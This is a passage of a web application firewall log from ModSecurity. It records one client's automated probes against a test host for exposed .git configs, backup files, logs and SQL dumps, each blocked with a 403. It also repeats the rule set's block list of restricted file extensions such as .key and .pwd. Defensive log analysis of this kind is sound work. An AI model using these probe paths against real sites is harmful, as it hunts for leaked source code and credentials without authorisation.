&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWgAAAAE&quot;]
[Thu Feb 26 01:03:29.866236 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWgAAAAE&quot;]
[Thu Feb 26 01:03:29.866408 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWgAAAAE&quot;]
[Thu Feb 26 01:03:29.884394 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziAAAAAA&quot;]
[Thu Feb 26 01:03:29.884622 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziAAAAAA&quot;]
[Thu Feb 26 01:03:29.884784 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziAAAAAA&quot;]
[Thu Feb 26 01:03:29.895235 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWwAAAAE&quot;]
[Thu Feb 26 01:03:29.895711 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWwAAAAE&quot;]
[Thu Feb 26 01:03:29.895892 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0TAL5Lg_nL66HcLiWwAAAAE&quot;]
[Thu Feb 26 01:03:29.936164 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info/packs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziQAAAAA&quot;]
[Thu Feb 26 01:03:29.936406 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziQAAAAA&quot;]
[Thu Feb 26 01:03:29.936567 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXiziQAAAAA&quot;]
[Thu Feb 26 01:03:29.958118 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizigAAAAA&quot;]
[Thu Feb 26 01:03:29.958642 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizigAAAAA&quot;]
[Thu Feb 26 01:03:29.958815 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aZ-N0SSJSniLip0oFXizigAAAAA&quot;]
[Thu Feb 26 01:03:30.084197 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjgAAAAA&quot;]
[Thu Feb 26 01:03:30.084666 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjgAAAAA&quot;]
[Thu Feb 26 01:03:30.084833 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjgAAAAA&quot;]
[Thu Feb 26 01:03:30.185968 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjwAAAAA&quot;]
[Thu Feb 26 01:03:30.186565 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjwAAAAA&quot;]
[Thu Feb 26 01:03:30.186736 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizjwAAAAA&quot;]
[Thu Feb 26 01:03:30.209069 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizkAAAAAA&quot;]
[Thu Feb 26 01:03:30.209547 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizkAAAAAA&quot;]
[Thu Feb 26 01:03:30.209703 2026] [:error] [pid 2330788] [client 185.177.72.22:11380] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aZ-N0iSJSniLip0oFXizkAAAAAA&quot;]
[Thu Feb 26 01:03:30.685659 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicAAAAAE&quot;]
[Thu Feb 26 01:03:30.685898 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicAAAAAE&quot;]
[Thu Feb 26 01:03:30.686051 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicAAAAAE&quot;]
[Thu Feb 26 01:03:30.721640 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicQAAAAE&quot;]
[Thu Feb 26 01:03:30.721862 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicQAAAAE&quot;]
[Thu Feb 26 01:03:30.722041 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicQAAAAE&quot;]
[Thu Feb 26 01:03:30.756797 2026] [:error] [pid 2330789] [client 185.177.72.22:11376] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aZ-N0jAL5Lg_nL66HcLicgAAAAE&quot;]
